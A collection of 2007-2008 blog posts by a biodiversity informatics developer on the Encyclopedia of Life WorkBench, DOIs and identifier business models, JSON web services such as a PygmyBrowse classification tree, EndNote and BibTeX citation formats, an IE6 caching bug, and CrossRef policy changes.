The 'becomes part of daily routines on the workdesks of experts' is a
crucial part of this 'revolution' - the few experts left need an
incentive to abandon their word processors/spreadsheets/databases and
the incentive would be a workdesk with all the comfort factors that
these software applications give them and a whole heap of bonus
attributes which make it a no-brainer to adopt ... If (big if) the
majority of experts used this workdesk the
adSense-like/referral/ebay-feedback stuff going on in the background
would automatically improve the GBIF (and others - EoL??) content. The
good stuff rises the bad stuff falls - its always been this way, based
on a traditionally published monograph/fauna/flora/mycota/biota
typically on a 10-25 year cycle; in the 21st century digital age it
should be a tad quicker.

Paul

I'm happy to hear people are beginning to think of a "workdesk" as I envision the EOL WorkBench, which coincidentally I am internally calling "LifeDesk". This is how I described it some time ago on Taxacom (here). My thinking has shifted somewhat since then, but the give & take concept still holds.

A few concrete examples:

I modified my twirly, AJAXy reference look-up tool (also present on some exemplar EOL species pages like this one) to actually store the reprint metadata from CrossRef before it gets passed through to the user. The user gets the benefit of knowing there's a reprint available to download - they just click the little icon a second time - and I get the benefit of all the metadata for later use.

In doing some reading and fumbling with Adobe AIR, I stumbled across PhotoSpread (PDF). This app is a clever hybrid between Excel and Flickr. Dragging/dropping images coordinates regroupings or filters. As a consequence, metadata tags are automatically created.

So, while I think a "WorkBench", "WorkDesk", or "LifeDesk" focus for development is in the right direction, we should be looking for shortcuts like these that capture user activity, use third party APIs in the background, and later repurpose the data in other interesting ways. If we are going to parasitize systematists workflows, we best get every ounce of potential data out of the time they consume.

Where's David?

2008-03-16T08:01:00.004-06:00

It has been an exceptionally long time since the last post. But, there were a few life-changing events that took precedence.

For starters, I'm now the WorkBench project leader for the Encyclopedia of Life and am living on Cape Cod with my family.

The Canadian Arachnologist and Spider WebWatch sites are stilled served from a desktop server. But, I have passed the editorial torch for the newsletter to Dr. Robin Leech.

I am also in the midst of buying my first home, which is no end of fun. Banks are quick to take your money, but aren't so quick to give it away, especially if your credit rating is invisible from the other side of an international border.

Just to prove that I have been toying with new things, here's a list containing a taste of things to come with the EOL WorkBench, which by the way I'm pushing for a rename. I'll let you fill in the blanks... ;)~

Drupal
ExtJS
Biblio::Citation::Parser
jQuery multiple autocomplete

Taxonomic Consensus as Software Creation

2007-10-30T14:06:00.000-06:00

It occurred to me today that the process of reaching taxonomic consensus or developing a master database of vetted names like that undertaken by The Catalogue of Life Partnership (CoLP) is not unlike software development that necessarily requires some sort of framework to manage versioning. However, taxonomic activities and building checklists do not currently have a development framework. We likely have a set of rules and guidelines, but infighting and bickering no doubt fragment interest groups, which ultimately leads to the stagnation, abandonment, and eventual distrust of big projects like CoLP. We have organizations like the International Commission on Zoological Nomenclature to manage the act of naming animals but there is nothing concrete out the other end to actually organize the names. Publications are merely the plums in a massive bowl of pudding. And, it is equally frustrating to actually find these publications. One way to approach a solution to this is to equate systematics with perpetual software development where subgroups manage branches of the code and occasionally perform commits to (temporarily) lock the code. Like with software development, groups of files (i.e. branches on the tree of life) and the files themselves (i.e. publications, images, genomic data, etc.) ought to be tracked with unique identifiers and time-stamps. This would be a massively complex shift in how taxonomic business is conducted, but what other solution is there?

Without really understanding distributed environments in software development...it's too geeky for me...I spent a few moments watching a Google TechTalk presentation by Randal Schwartz delivered at Google October 12, 2007 about Git, a project spearheaded by Linus Torvalds: http://video.google.com/videoplay?docid=-1019966410726538802 (sorry, embedding has apparently been disabled by request).

There are some really interesting parallels between distributed software development environments like Git and what we ought to be working toward in systematics, especially as we move toward using Life Sciences Identifiers (LSIDs). Here are a few summarized points from Randal's presentation:

Git manages changes to a tree of files over time
Optimized for large file sets and merges
Encourages speculation with the construction of trial branches
Anyone can clone the tree, make & test local changes
Uses "Universal Public Identifiers"
Has multi-protocal transport like HTTP and SSH
One can navigate back in time to view older trees of file sets via universal public identifiers

With a cross-platform solution and a facile user interface, perhaps thinking in these terms will help engage taxonomists and will ultimately lead to a ZooBank global registry of new taxon names.

Buying & Selling DOIs...and the same for specimens

2007-10-25T10:17:00.000-06:00

A previous post of mine described the business model for digital object identifiers in albeit simplistic terms. But, perhaps I should back up a second. Just what the heck is a DOI and why should the average systematist care? [Later in this post, I'll describe an interesting business model for biodiversity informatics]

Rod Page recently wrote a post in iPhylo that does a great job of selling the concept. Permit me to summarize and to add my own bits:

DOIs are strings of numbers & letters that uniquely identify something in the digital realm. In the case of published works, they uniquely identify that work.
DOIs are resolvable and can be made actionable. i.e. you can put http://dx.doi.org/ in front of a DOI and, through the magic of HTTP, you get redirected to the publisher's offering or the PDF or HTML version of the paper
DOIs have metadata. If you have for example a citation to a reference, you can obtain the DOI. Conversely, if you have a DOI, you can get the metadata
DOIs are a business model. Persistent URLs (championed by many) are not a business model because there is no transfer of funds & confidences

Systematists have lamented that their works on delineating & describing species don't get cited in the primary literature. If they published in journals that stamped DOIs on their works or if they participated in helping journals get DOIs for back-issues or future publications, then outfits like the Biodiversity Heritage Library would have an easier time mapping taxon names to published works. For example, searching not for a publication but a taxon name in Biodiversity Heritage Library (protoype HERE) would not only provide a list of works in BHL that used the name somewhere in its text, it could provide a forward-linking gadget from CrossRef. The end user would have an opportunity to do his or her own cognitive searching:

There is nothing stopping an outfit like the Biodiversity Heritage Library from using Handles or some other globally unique identifer. But, doing so cuts off the possibility of injecting old works back into contemporary use because they will not be embedded into a widely used cross-linking framework.

MOIs for Sale

The Global Biodiversity Information Facility and The Encyclopedia of Life must also be active participants in the adoption of globally unique identifiers. But again, there must be a business model. So, here's a business model in relation to museum specimens:

A registry sells a "MOI" - Museum Object Identifier (my creation of course) at 1 cent per labelled specimen.
The price will go up to 2 cents a specimen after 2020, the usual year given for various National Biodiversity Strategies. Translation: get your act together because it'll cost more later.
All MOIs must have DarwinCore metadata
The registry sets up a resolver identical in functionality to DOIs

Now, before all the curators out there scream bloody murder, let's stop and think about this and put a creative, financial spin on the possibilities. Craig Newmark, the founder of the ever popular Craig's List, was recently interviewed on Stephen Colbert's Colbert Report where he mentioned Donor's Choose (see interview). If you're not familiar with that new service, here's the slogan: "Teachers ask. You choose. Students learn."

DonorsChoose.org is a simple way to provide students in need with resources that our public schools often lack. At this not-for-profit web site, teachers submit project proposals for materials or experiences their students need to learn. These ideas become classroom reality when concerned individuals, whom we call Citizen Philanthropists, choose projects to fund.

There's a lot of interest in The Encyclopedia of Life and the Biodiversity Heritage Library now. Let's set-up a global "Donor's Choose" clone called something like "Biodiversity Knowledge Fund" (though that's not catchy enough) to be locally administered by daughter organizations to EOL and the BHL in countries throughout the world. Funds then are transferred to institutions of the donor's choosing. Museums then accept the funds donated to them and turn around and buy "MOIs". What would prevent a museum from taking the money specifically donated to them and spending it on things other than MOIs? Nothing. But, their specimens then aren't indexed. Are you a philanthropist or have 20 dollars (or francs, rubles, pounds, pesos, dinar, lira, etc.) you'd like to donate? Want to fund biodiversity but don't know how? Here's an answer. But is such a "Biodiversity Knowledge Fund" sustainable? No, but it's a start.

Biodiversity Informatics Needs a Business Model

2007-10-24T13:23:00.000-06:00

Publishers and (most) librarians understand that digital object identifiers (doi) associated with published works are more than just persistent codes that uniquely identify items. They are built into the social fabric of the publishing industry. Because monies are transferred for the application and maintenance of a doi, the identifier is persistent. It's really because of this "feature" that tools like cross-linking and forward-linking can be built and that these new tools will themselves persist. The nascent biodiversity informatics community is attempting to do all the fun stuff (myself included) like building taxonomic indices, gadgetry to associate names and concepts with other things like literature, images, and specimens without first establishing a long-term solution for how the persistence of all these new tools will be established. Let me break it down another way:

Publishers buy dois and pay an annual subscription. In turn, the extra fee for the doi is passed down the chain to the journal & its society. The society then passes the extra fees on to either an author in the way of page fees or to the subscribers of the journal. Since the majority of subscribers are institutions and authors receive research grants from federal agencies, ultimately, the fractions of pennies that merge to pay for a single doi come from tax payers' wallets and purses. So, dois fit nicely into the fabric of society and really do serve a greater purpose than merely uniquely identifying a published object. Then, and only then, can the nifty tools CrossRef provides be made available. Then, third parties may use these tools with confidence.

Not surprisingly, the biodiversity informatics community has latched on to the nifty things one can do with globally unique identifiers because everybody wants to "do things" by connecting one another's resources. Some very important and extremely interesting answers to tough questions can only be obtained by doing this work. Also not suprisingly, there is now a mess of various kinds of supposed globally unique identifiers (GUIDs) because big players want to be the clearinghouse much as CrossRef is the clearinghouse for dois. But they have all missed the point.

So, how do we instill confidence in the use of LSIDs, ITIS TSNs, the various NCBI database id's, etc. without a heap of silos with occasional casualities? Get rid of them or at least clearly associate what kind of object gets what kind of identifier along with a business model where there will be persistent, demonstrable transfer of funds. The use of Semantic Web tools is merely a band-aid for a gushing wound. When I say persistent transfer of funds, I don't mean assurances that monies will come from federal grants or wealthy foundations in order to maintain those identifiers. I mean an identifier that is woven into the fabric and workflow of the scientific community. This may be easier said than done because other than publications, the scientific community (especially systematists and biologists) aren't in the business of producing anything tangible except publications. CrossRef has that angle very well covered. So, what else do scientists (the systematics community is what I'm most interested in) produce that can be monetized? Specimens, gene sequences, and perhaps a few other objects. We need several non-profits like CrossRef with the guts to demand monies for the assignment of persistent identifiers. Either we adopt this as a business model or we monetize some services (e.g. something like Amazon Web Services as previously discussed) that directly, clearly, and unequivocally feed into the maintenance of all the shiny new GUIDs.

PygmyBrowse Classification Tree API

2007-10-16T23:58:00.000-06:00

Yay, a new toy! This one ought to be useful for lots of biodiversity/taxonomic web sites. First, I'll let you play with it (click the image):

Seems I always pick up where Rod Page leaves off. Not sure if this is a good thing or not. However, we do have some worthwhile synergies. Rod has cleaned up and simplified his old (Sept. 2006) version of PygmyBrowse. Earlier this week, he made an iframe version and put it on his iPhylo blog. Like Rod, I dislike a lot of the classification trees you come across on biodiversity/taxonomic web sites because these ever-expanding monstrosities eventually fill the screen and are a complete mess. When you click a hyperlinked node, you often have to wait while the page reloads and the tree re-roots itself...not pretty. Trees are supposed to simplify navigation and give a sense of just how diverse life on earth really is. The Yahoo YUI TreeView is OK because it's dynamic, but it desperately needs to handle overflow for exceptionally large branches as is the case with classification trees in biology. What did I do that's different from Rod's creation?

I convinced Dave Martin (GBIF) to duplicate the XML structure Rod used to fill the branches in his PygmyBrowse and to also do the same with JSON outputs. This is the beta ClassificationSearchAPI, which will soon be available from the main GBIF web services offerings. When the service is out of beta, I'll just adjust one quick line in my code.

I jumped at the chance to preserve the functionality Rod has in his newly improved, traditional XMLHTTP-based PygmyBrowse and write one as an object-oriented JavaScript/JSON-based version. My goal is to have a very simple API for developers and end users who wish to have a remotely obtained, customizable classification tree on their websites. Plus, I want this API to accept an XML containing taxon name and URL elements (e.g. a Google sitemap) such that the API will parse it and adjust the behaviour of the links in the tree. In other words, just like you can point the Google Map API to an XML file containing geocoded points for pop-ups, I wanted to author this API to grab an XML and magically insert little, clickable icons next to nodes or leaves that have correspoding web pages on my server. Think of this as a hotplugged, ready-made classification naviagator. This is something you cannot do with an iframe version because it's stuck on the server and you can't stick your fingers in it and play with it. Sorry, Rod.

The ability to feed an XML to the tree isn't yet complete, but the guts are all in place in the JavaScript. You can specify a starting node (homonym issues haven't yet been dealt with but I'll do that at some point), the size of the tree, the classification system to use (e.g. Catalogue of Life: 2007 Annual Checklist or Index Fungorum, among others), and you can have as many of these trees on one page as you wish. You just have to pray GBIF servers don't collapse under the strain. So, you could use this API as a very simple way to eyeball 2+ simultaneous classifications. The caveat of course is that GBIF must make these available in the API. So, hats off to GBIF and Dave Martin. These are very useful and important APIs.

Last month, I proposed that the Biodiversity Informatics community develop a programmableweb.com clone called programmablebiodiversity.org. There are more and more biodiversity-related APIs available, many of which produce JSON in addition to the usual XML documents via REST. Surely people more clever than me can produce presentational & analytical gadgets if there was a one-stop-shop for all the APIs and a showcase for what people are doing with these data services. The response from TDWG was luke-warm. I think there's a time and place for development outside the busy work of standards creation. But, there were a few very enthusiastic responses from Tim Robertson, Donald Hobern, Lee Belbin, Vince Smith and a few others. It turns out that Markus Döring and the EDIT team in Berlin have been creating something approaching my vision called BD (Biodiversity) Tracker at http://www.bdtracker.net. I just hope they clean it up and extend it to approximate the geekery in programmableweb.com with some clean cut recipes for people to dive into using APIs like this. [Aside: Is it just me or all the Drupal templates starting to look a little canned and dreary?].

There's plenty more I want to do with this JSON-based PygmyBrowse so if you have ideas or suggestions, by all means drop a comment. Rod wants to contribute this code to an open-source repository & I'll be sure to contribute this as a subproject.

The Open Library

2007-10-03T03:00:00.000-06:00

I stumbled on an amazing new project lead by Aaron Swartz called the Open Library - not be confused with this Open Library though there appears to be some resemblance. What strikes me about Aaron's project is that it is so relevant to The Encyclopedia of Life it scares me that I haven't yet heard of it. According to their "About the technology" page:

Building Open Library, we faced a difficult new technical problem. We wanted a database that could hold tens of millions of records, that would allow random users to modify its entries and keep a full history of their changes, and that would hold arbitrary semi-structured data as users added it. Each of these problems had been solved on its own, but nobody had yet built a technology that solved all three together.

The consquence of all this is that there is a front-facing page for every book with the option to edit the metadata. All versioning and users are tracked. The content of the "About Us" page sounds eerily like E. O. Wilson's proclamations in his 2003 opinion piece in TREE (doi:10.1016/S0169-5347(02)00040-X). For those of you who don't recognize the name, Aaron Swartz, he's the whiz behind a lot of important functionality on the web we see today. It's also worth reading his multi-part thoughts on the spirit of Wikipedia and why it may soon hit a wall.

DOIs in the References Cited Section

2007-09-30T00:06:00.000-06:00

I just read a recent post by Ed Pentz (Executive Director of CrossRef) who alerted his readers to some recent changes to recommended American Medical Association and American Psychological Association style guides. Ed also provides two examples. Essentially, a string like "doi:10.1016/j.ssresearch.2006.09.002" is to be tagged at the end of each reference (if these dois exist) in the literature cited section of journals that use AMA or APA styles. Cool! It would be a snap to write a JavaScript to recognize "doi:" on a page and magically add the "http://dx.doi.org/" and I have no doubt publishers can do something similar prior to producing PDF reprints. Ed seemed puzzled by the exclusion of "http://dx.doi.org/", but this is a really smart move by the AMA and the APA. DOIs afterall are URNs so it's best to avoid any confusion. If paper publishers want to make these actionable, then they can do so. If web publishers want to do the same, then a simple little JavaScript can do it.

So, what we need now are style editors to pick-up this recommedation across the board in all journals in all disciplines. This simple addition would do a world of good for human discoverability and for machine consumption/repurposing. It shouldn't just be a recommendation, it should be mandatory.

Hopefully, this will step-up the drive for including XMP metadata within PDF reprints. It may be a pain for authors to track down DOIs if they're not stamped on the covering page (usually hovering around the abstract or the very top of the page) and consequently, adoption of this new recommendation may be rather slow. If the DOI were embedded in the XMP, then reference managers like EndNote and RefMan will naturally read these metadata. In other words, building your reference collection would be as simple as dropping a PDF in a watched file folder and letting your reference manager do the rest. This would also open the door to zero local copies of PDFs or an intelligent online storage system. EndNote and RefMan need only have the DOI and they can pull the rest using CrossRef's DOI look-up services.

Would You Cite a Web Page?

2007-09-27T22:15:00.000-06:00

Species pages in The Nearctic Spider Database are peer-reviewed in the very traditional sense. But, instead of doling out pages that need to be reviewed, I leave it up to authors to anonymously review each others' works. Not just anyone can author a species page; you at least need to show me that you have worked on spiders in some capacity. Once three reviews for any page have been received and the author has made the necessary changes (I can read who wrote what and when), I flick the switch and the textual contributions by the author are locked. There is still dynamically created content on these species pages like maps, phenological charts, State/Province listings, etc. However, at the end of the day, these are still just web pages, though you can download a PDF if you really want to.

Google Scholar allows you to set your preferences for downloading an import file for BibTex, EndNote, RefMan, RefWorks, and WenXianWang so I thought I would duplicate this functionality for species pages in The Nearctic Spider Database, though limited to BibTex and EndNote. I'm not at all familiar with the last three reference managers and I suspect they are not as popular as EndNote and BibTex. Incidentally, Thomson puts out both EndNote and RefMan and recently, they released EndNoteWeb. As cool as EndNoteWeb looks, Thomson has cut it off at the knees by limiting the number of references you can store in an online account to 10,000. Anyone know anything about WenXianWang? I couldn't find a web site for that application anywhere. So, here's how it works:

First, it's probably a good idea to set the MIME types on the server though this is likely unnecessary because these EndNote and BibTex files are merely text files:

EndNote: application/x-endnote-refer (extension .enw)
BibTex: ?? (extension .bib)

Second, we need to learn the contents of these files:

EndNote: called "tagged import format" where fields are designated with a two-charcter code that starts with a % symbol (e.g. %A). After the fields, there is a space, and then the contents. It was a pain in the neck to find all these but at least the University of Leicester put out a Word document HERE. Here's an example of the file for a species page in The Nearctic Spider Database:

%0 Web Page
%T Taxonomic and natural history description of FAM: THOMISIDAE, Ozyptila conspurcata Thorell, 1877.
%A Hancock, John
%E Shorthouse, David P.
%D 2006
%W http://www.canadianarachnology.org/data/canada_spiders/
%N 9/27/2007 10:40:40 PM
%U http://www.canadianarachnology.org/data/spiders/30843
%~ The Nearctic Spider Database
%> http://www.canadianarachnology.org/data/spiderspdf/30843/Ozyptila%20conspurcata

BibTex: Thankfully, developers at BibTex recognize the importance of good, simple documentation and have a page devoted to the format. But, the examples for reference type are rather limited. Again, I had to go on a hunt for more documentation. What was of great help was the documentation for the apacite package, which outlines the rules in use for the American Psychological Association. In particular, p. 15-26 of that PDF was what I needed. However, where's the web page reference type? Most undergraduate institutions in NA still enforce a no web page citation policy on submitted term papers, theses, etc. so it really wasn't a surprise to see no consideration for web page citations. So, what is the Encyclopedia of Life to do? The best format I could match for EndNote's native handling of web pages was the following:

@misc{hancock30843,
author = {Hancock, John},
title = {Taxonomic and natural history description of FAM: THOMISIDAE, Ozyptila conspurcata Thorell, 1877.},
editor = {Shorthouse, David P.},
howpublished = {World Wide Web electronic publication},
type = {web page},
url = {http://www.canadianarachnology.org/data/spiders/30843},
publisher = {The Nearctic Spider Database},
year = {2006}
}

Now, BibTex is quite flexible in its structure so there could very well be a proper way to do this. But, the structure must be recognized by the rule-writing templates like APA otherwise it is simply ignored.

The EndNote download is available at the bottom of every authored species page in the database's website via a click on the EndNote icon (example: http://www.canadianarachnology.org/data/spiders/30843). I have no idea if the BibTex format above is appropriate so I welcome some feedback before I enable that download.

But, all this raises a question...

Would you import a reference to a peer-reviewed web page into your reference managing programs and, if you are an educator, should you consider allowing undergraduates an opportunity to cite such web pages? Would you yourself site such pages? Do we need a generic, globally recognized badge that exclaims "peer-reviewed" on these kinds of pages? Open access does not mean content is not peer-reviewed or any less scientific. Check out some myth-busting HERE. What if peer-reviewed web pages had DOIs, thus taking a great leap away from URL rot and closer toward what Google does with its index - calculations of page popularity. Citation rates (i.e. popularity) is but one outcome of the DOI model for scientific papers. If I anticipated a wide, far-reaching audience for a publication, I wouldn't care two hoots if it was freely available online as flat HTML, a PDF, or as MS Word or if the journal (traditional or non-traditional) has a high impact factor as mysteriously calculated by, you guessed it, Thomson ISI. If DOIs are the death-knoll for journal impact factors, are web pages the death knoll for paper-only publications?

IE6 is Crap By Design

2007-09-26T00:05:00.000-06:00

I give up. I have had it. Internet Explorer 6 absolutely sucks.

Since I first started toying with JavaScript and using .innerHTML to dynamically add, change, or remove images on a web page in response to a user's actions or at page load (e.g. search icons tagged at the end of scientific references to coordinate user click-to-check existence of DOI, Handle, or PDF via Rod Page's JSON reference parsing web service at bioGUID.info), I have struggled with the way this version of the browser refuses to cache images.

If multiple, identical images are inserted via .innerHTML, IE6 makes a call to the server for every single copy of the image. Earlier and later versions of IE do not have this problem; these versions happily use the cache as it's meant to be used and do not call the server for yet another copy of an identical image. I tried everything I can think of from preloading the image(s), using the DOM (i.e. .appendChild()), server-side tricks, etc. but nothing works. Page loads are slow for these users and the appended images via .innerHTML may or may not appear, especially if there are a lot of successive .innerHTML calls. Missing images may or may not appear with a page refresh and images that were once present may suddenly disappear with a successive page refresh. Because AJAX is becoming more and more popular & as a consequence, there are more instances of .innerHTML = "<img src="..."> in loops, don't these people think something is not right with their browser? I doubt it. Instead, I suspect they instead think something is wrong with the web page and likely won't revisit.

Here's some example code that causes the problem for an IE6 user:

...
for (i=0;i<foo;i++) {
bar.innerHTML = "<img src="...">;
}
...

Web server log lines like the following (abridged to protect the visitor to The Nearctic Spider Database) fill 10-20% of these daily files:

GET /bioGUID/magnifier.png - 80 - HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;...etc...)

GET /bioGUID/magnifier.png - 80 - HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;...etc...)

GET /bioGUID/magnifier.png - 80 - HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;...etc...)

GET /bioGUID/magnifier.png - 80 - HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;...etc...)

GET /bioGUID/magnifier.png - 80 - HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;...etc...)

GET /bioGUID/magnifier.png - 80 - HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;...etc...)

GET /bioGUID/magnifier.png - 80 - HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;...etc...)

So, I wonder how much bandwidth on the Internet superhighway is consumed by this terrible design flaw? Microsoft is aware of the issue, but weakly tried to convince us that this behaviour is "by design" as can be read in their Knowledge Base Article Q319546. Give me a break. The solution in that article is pathetic and doesn't work.

Depending on what you do in your JavaScript, you can either force an HTTP status code of 200 OK (i.e. image is re-downloaded, thus consuming unnecessary bandwidth) or an HTTP status code of 304 Not Modified ("you already got it dummy, I'm not sending it again" - but still some bandwidth). Though I haven't yet investigated before/after in my web logs, others have reported that the following code at the start of some JavaScript will force a 304:

try {
document.execCommand("BackgroundImageCache", false, true);
} catch(err) {}

I'm not convinced that this will work.

After pulling my hair out for 2+ years trying to come up with a work-around, I have concluded that the only way this problem can be prevented is if the user adjusts how their own cache works. If you are an IE6 user, see the note by Ivan Kurmanov on how to do this - incidentally, Ivan's server-side tricks also don't work). In a nutshell, if you use IE6, DO NOT choose "Every visit to the page" option in your browser's cache settings. Unfortunately, there is no way for a developer to detect a user's cache settings. Like pre-IE6 and post-IE6 users, people with IE6 whose cache is set to check for newer content "Automatically", "Never" or "Every time you start Internet Explorer" also do not have this problem.

Developers (like Mishoo) have suggested that this "by design" flaw is a means for Microsoft to artificially inflate its popularity in web server log analyses. But, I doubt analysis software confuses multiple downloads from the same IP address with browser popularity. So how can this possibly be by design if there is no way for a developer to circumvent it? Who knows.

The only real solution I have been able to dream up, though I haven't implemented it, is to perform a JavaScript browser version check. If people choose to use IE6 and don't upgrade to IE7 then they won't get the added goodies. I certainly don't want to degrade their anticipated experience, but I also have to think about cutting back on pushing useless bandwidth, which is not free. If you insist on using IE, please upgrade to IE7. This version of the browser was released a year ago. Better yet, make the switch to FireFox.

Google Search JSON API

2007-09-25T17:29:00.000-06:00

Google is obviously producing JSON outputs from most (if not all) of its search offerings because they have an API called "Google AJAX Search API". Signing up for a key allows a developer to pull search results for use on web pages in a manner identical to my iSpecies Clone. However, it is an absolute pain in the neck to use this API. It is nowhere near as useful as Yahoo's web services. Google goes to great lengths to obfuscate the construction of its JSON outputs and these are produced from RESTful URLs, buried deep in its JavaScript API. So, I went on a hunt...

Within a JavaScript file called "uds_compiled.js" that gets embedded in the page via the API, there are several functions, which are (somewhat) obvious:
GwebSearch(), GadSenseSearch(uds), GsaSearch(uds) [aside: Is this Google Scholar? There is no documentation in the API how-to], GnewsSearch(), GimageSearch(), GlocalSearch(), GblogSearch(), GblogSearch(), and finally GbookSearch().
Since all these functions are called from JSON with an on-the-fly callback, why make this so difficult to? If I had some time on my hands, I'd deobfuscate the API to see how the URLs are constructed such that I could reproduce Yahoo's API. Incidentally, I just now noticed that Yahoo has an optional parameter in its API called "site" whereby one can limit the search results to a particular domain (e.g. site=wikipedia.org).

So Google, if you are now producing an API like AJAX Search, why make it so difficult and force the output into a Google-based UI? Developers just want the data. You could just as easily force a rate limit as does Yahoo for its API: 5,000 queries per IP per day per API. Problem solved.

iSpecies Clone

2007-09-25T02:58:00.000-06:00

For kicks, I created an iSpecies clone that uses nothing but JSON. Consequently, there is no server-side scripting and the entire "engine" if you will is within one 12KB external JavaScript file. The actual page is flat HTML. What this means is that you can embed the engine on any web page, including <<ahem>> Blogger. You can try it out yourself here: iSpecies Clone. Or live:

Rod Page was the first to create a semi taxonomically-based search engine called iSpecies (see iSpecies blog)that uses web services. He recently gave it a facelift using JSON data sources. This has significantly improved the response time for iSpecies because it is now simple and asynchronous. Rod could continue to pile on web services to his heart's content.

Dave Martin is producing JSON web services for GBIF and recently added a common name and scientific name search. It occurred to me that iSpecies could initially connect to GBIF to produce arrays of scientific and GBIF-matched common names prior to sending off a search to Yahoo or Flickr. Most tags in these image repositories would have common names. Likewise, if the Yahoo News API is of interest, then of course it would be useful to obtain common names prior to making a call to that web service. That's how the iSpecies clone above works. Oh, and scientific names are also searched when a common name is found and recognized by GBIF.

This clone is naturally missing material compared to the results obtained when conducting a real iSpecies search (e.g. genomics, Google Scholar - though is simply disabled here - and what looks to be some scripting for name-recognition above the level of species). If big player data providers like NCBI, uBio, CBOL, etc. produced JSON instead of or in addition to XML, then it would be incredibly easy to make custom search engines like this that can be embedded in a gadget.

After having tinkered a lot with JSON lately, it is now abundantly clear to me that The Encyclopedia of Life (EOL) species pages absolutely must have DOIs and plenty of web services to repurpose the data it will index. If we really want EOL to succeed in the mass media, then these species page DOIs should also be integrated into Adobe's XMP metadata along with some quick and easy ways to individually- and batch-embed them.

GBIF web services on the rise

2007-09-20T09:22:00.000-06:00

Look out EOL, Dave Martin has been very quickly creating some superb web services for GBIF data. Check out the GBIF portal wiki or the various name search APIs that produce text, xml, JSON, or simple deep-linking: HERE. As an example of the kinds of things Dave and Tim Robertson have been producing, here is a map gadget showing all the records in a 1 degree cell shared to GBIF from The Nearctic Spider Database:

EOL "WorkBench" Ideas Loosely Joined

2007-09-12T10:27:00.000-06:00

Just how quickly The Encyclopedia of Life's "WorkBench" environment can be assembled will be interesting. For those of you unfamiliar with this critical aspect of the initiative, it will be the environment in which users will access and manipulate content from web services and other data providers, EOL indexed content, and a user's local hard drive AND simultaneously contribute (if desired, I expect this to be optional) to public facing species pages. As you can imagine a suite of things have to fall into place for all the pieces to play nicely in a simple graphical user interface. Expectations are high for this application to be THE savior, which I hope will differentiate EOL from WikiSpecies and other similar projects/initiatives.

I envision WorkBench as a Semantic Web browser of sorts, capable of pulling dozens of data types from hundreds of sources into a drag-drop whiteboard something like a mindmap. Coincidentally, I stumbled across MindRaider. Though I'd much rather see a Flex-based solution (such that Adobe AIR can be used), MindRaider (Java-based) developed by Martin Dvorak looks to be a very interesting way to organize concepts as interconnected resources and also permits a user to annotate components of the mindmap. Sharing such Semantic mindmaps is also a critical piece of the puzzle as is making interconnections to content in a user's local hard drive.

What then do we need for EOL's WorkBench? 1) web services, 2) web services, and 3) web services, AND 4) commonly structured web services such that resources acquired from hundreds of data providers must not require customized connectors.

Somehow, I'd like to see data providers ALL using OpenSearch (with MediaRSS or FOAF extensions) for fulltext, federated search and/or TAPIR for the eventual Species Profile Model's structured mark-up. Then, I'd like to see RSSBus on EOL servers. Lastly, I'd like to see a melange of MindRaider, Mindomo, and a Drupal-like solution to permit self-organization of interest groups of the kind Vince Smith champions with Scratchpads. Vince and others no doubt argue that there is great value in centralized hosting. But, the advantage is 99% provider. End users don't give two hoots for this so long as the application is intuitively obvious and permits a certain degree of import, export, configuration and customization.

So, the pieces of the puzzle:

Providers -> RSS -> RSSBus -> MindRaider/Mindomo/Scratchpad (in Adobe AIR) <- local hard drive

Sounds easy doesn't it? Yeah, right.

Forward Thinking

2007-09-07T22:00:00.000-06:00

I previously criticized CrossRef for the implementation of new restrictive rules for use of its OpenURL service, but Ed Pentz, Executive Director of CrossRef, stopped by and reassured us that CrossRef exists to fill the gaps. The most restrictive rule has now been relaxed. Well done, Ed.

While browsing around new publications in Biodiversity and Conservation, I caught something called "Referenced by" out of the corner of my eye. This may be old hat to most of you and I now feel ashamed that I have not yet discovered it. Perhaps I have subconsciously dismissed boxes on web sites because Google AdWare panels have constrained my eyeball movements. Anyhow, CrossRef have used the power of DOIs to provide a hyperlinked list of more recent publications that have referenced the work you are currently examining. Ed Pentz has blogged about this new feature. Now, this is cool and is the stuff dreams are made of. For example, a paper by Matt Greenstone in '83 entitled, "Site-specificity and site tenacity in a wolf spider: A serological dietary analysis" (doi:10.1007/BF00378220) is referenced by at least 6 more recent works as exemplified in that panel including several by Matt himself. Besides the obvious way that this permits someone to peruse your life's work (provided you reference yourself and publish in journals that have bought into CrossRef), this is a slick way to keep abreast of current thinking. If your initial introduction to subject matter is via pre-1990 publications, you can quickly examine how and who has used previous works regardless of what journal that article has appeared. Hats off CrossRef!

Now, what we need are publishing firms still mired in the dark ages to wake-up to the power of DOIs. If you participate in the editorial procedures for a scientific society and your publisher has not yet stepped-up by providing you with DOIs, get on the phone and jump all over them! You would be doing your readers, authors, and society a disservice if you accepted anything less than full and rapid cooperation by your chosen publisher.

So Ed, will "Forward Linking" be a web service we can tap into?

CrossRef Takes a Step Back

2007-09-05T07:28:00.000-06:00

UPDATE Sept. 8/2007: Please read the response to this post by Edward Pentz, Executive Director of CrossRef in the comments below.

Mission statement: "CrossRef is a not-for-profit membership association whose mission is to enable easy identification and use of trustworthy electronic content by promoting the cooperative development and application of a sustainable infrastructure."

Not-for-profilt, hunh? Money-grabbing in the professional publishing industry has once again proven to be more important than making scientific works readily accessible. As of September 7, 2007, CrossRef will roll out new rules for its OpenURL and DOI lookups. Unless you become a card carrying CrossRef "affiliate", there will be a daily cap of 100 lookups using their OpenURL service, which will require a username/password. If >100 lookups are performed, CrossRef will reserve the right to cancel the account and will force you to buy into their senseless pay-for-use system. Here are the new rules as described at http://www.crossref.org/04intermediaries/60affiliate_rules.html:

Affiliates must sign and abide by the term of the CrossRef Affiliate Terms of Use
Affiliates must pay the fees listed in the CrossRef Schedule of Fees
The Annual Admininstrative Fee is based on the number of new records added to the Affiliates service(s) and/or product(s) available online
There are no per-DOI retrieval fees. There are no fees based on the number of links created with the Digital Identifiers.
Affiliates may "cache" retrieved DOIs (i.e. store them in their local systems)
The copyright owner of a journal has the sole authority to designate, or authorize an agent to designate, the depositor and resolution URL for articles that appear in that journal
